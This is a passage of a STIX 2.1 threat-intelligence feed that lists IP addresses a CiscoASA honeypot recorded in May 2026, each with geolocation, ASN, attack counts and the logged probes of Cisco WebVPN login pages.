          "attack_count": 1,
          "first_seen": "2026-05-07T03:23:16.961Z",
          "last_seen": "2026-05-07T03:23:16.961Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--1c49fbae-e91d-4161-974d-8fa650395dcd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T04:20:05.000Z",
      "valid_until": "2026-06-08T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-07T03:21:18.375Z",
          "last_seen": "2026-05-07T03:21:18.375Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--5c25ca0b-fc82-4a20-ae23-c73e9d700292",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.81.230.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:20:10.000Z",
      "valid_until": "2026-06-08T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-07T04:23:37.726Z",
          "last_seen": "2026-05-22T18:36:30.028Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0efecd03-5229-4563-ad4f-6704cff5df52",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:20:10.000Z",
      "valid_until": "2026-06-08T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-07T04:56:23.498Z",
          "last_seen": "2026-05-26T07:08:56.282Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--a3b24477-b075-475a-abf3-d6c15593c4fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:20:10.000Z",
      "valid_until": "2026-06-08T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-07T04:24:08.495Z",
          "last_seen": "2026-05-20T00:52:06.307Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--74dcd94b-20f9-4073-8189-71b62722e9c3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:20:10.000Z",
      "valid_until": "2026-06-08T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-07T05:13:01.027Z",
          "last_seen": "2026-05-30T04:44:47.108Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e1f9fec5-f065-4faa-ba3d-fb067eb1f52b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:20:10.000Z",
      "valid_until": "2026-06-08T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-07T04:22:25.813Z",
          "last_seen": "2026-05-07T04:22:36.132Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: CZ; ASN 2914 (NTT America, Inc.)",
      "id": "indicator--2f439cb5-f5fb-4858-ba01-d2ea5981cf75",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.153.162.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T05:20:10.000Z",
      "valid_until": "2026-06-08T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-07T05:17:22.487Z",
          "last_seen": "2026-05-07T05:17:23.268Z",
          "country": "Czechia",
          "country_code": "CZ",
          "asn": 2914,
          "as_org": "NTT America, Inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--87ee0648-6189-47d0-b244-2515d95ad63d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T06:20:11.000Z",
      "valid_until": "2026-06-08T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-07T06:01:02.911Z",
          "last_seen": "2026-05-31T03:43:50.025Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6175da8e-596b-4f8b-963e-4014dc57cd0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.103.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T06:20:11.000Z",
      "valid_until": "2026-06-08T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-07T05:45:08.802Z",
          "last_seen": "2026-05-31T00:50:10.025Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2cafa4fb-87d8-4345-a2bb-6d65b23a6b4a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T06:20:11.000Z",
      "valid_until": "2026-06-08T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-07T06:16:47.350Z",
          "last_seen": "2026-05-27T04:36:42.441Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--465b455e-74c1-403a-9c10-f9c0072f1f50",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.68.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T06:20:11.000Z",
      "valid_until": "2026-06-08T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-07T05:44:54.793Z",
          "last_seen": "2026-05-10T10:44:33.306Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /qNZC HTTP/1.1\" 404 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--3850d85a-008f-472f-9687-eb1443d99402",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.184.100.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T06:20:11.000Z",
      "valid_until": "2026-06-08T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-07T05:38:52.437Z",
          "last_seen": "2026-05-07T05:38:52.437Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /qNZC HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T07:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--faf693db-e083-4489-8f48-5939f05dffa9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:20:11.000Z",
      "valid_until": "2026-06-08T07:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-07T07:04:18.494Z",
          "last_seen": "2026-05-09T08:21:22.591Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T07:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/ HTTP/1.1\" 404 - geo: CH; ASN 39351 (31173 Services AB)",
      "id": "indicator--6436093f-d34c-4c7c-849d-d9f75663082c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.32.127.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:20:11.000Z",
      "valid_until": "2026-06-08T07:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-07T06:52:34.686Z",
          "last_seen": "2026-05-07T06:52:37.690Z",
          "country": "Switzerland",
          "country_code": "CH",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /admin/ HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T07:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8c20a181-552e-4d82-8cf0-de6ac15a7b82",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:20:11.000Z",
      "valid_until": "2026-06-08T07:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-07T07:05:48.607Z",
          "last_seen": "2026-05-29T19:14:14.789Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T07:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1fcd14b1-3523-46b8-a39a-5bfdf7b7c1f3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T07:20:11.000Z",
      "valid_until": "2026-06-08T07:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-07T06:34:24.741Z",
          "last_seen": "2026-05-07T06:34:33.994Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T08:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--4e25eec5-6ad2-493b-a769-641f043455d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:20:16.000Z",
      "valid_until": "2026-06-08T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-07T08:05:58.018Z",
          "last_seen": "2026-05-14T09:25:30.013Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T08:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--0752a97b-d01c-49f4-9b47-113ed13253cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:20:16.000Z",
      "valid_until": "2026-06-08T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-07T08:14:15.549Z",
          "last_seen": "2026-05-07T08:14:15.549Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T08:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--b3fee87a-4dce-4c03-b7c7-a1e9e2a2253f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:20:16.000Z",
      "valid_until": "2026-06-08T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-07T07:54:31.295Z",
          "last_seen": "2026-05-07T07:54:34.298Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T08:20:16.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--39357598-fee2-4c28-bac8-f8d8f227b4a2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-07T08:20:16.000Z",
      "valid_until": "2026-06-08T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-07T07:55:05.906Z",
          "last_seen": "2026-05-25T16:15:14.526Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-07T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--ee7e66aa-5929-404d-9a07-92f1bc6bf71f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
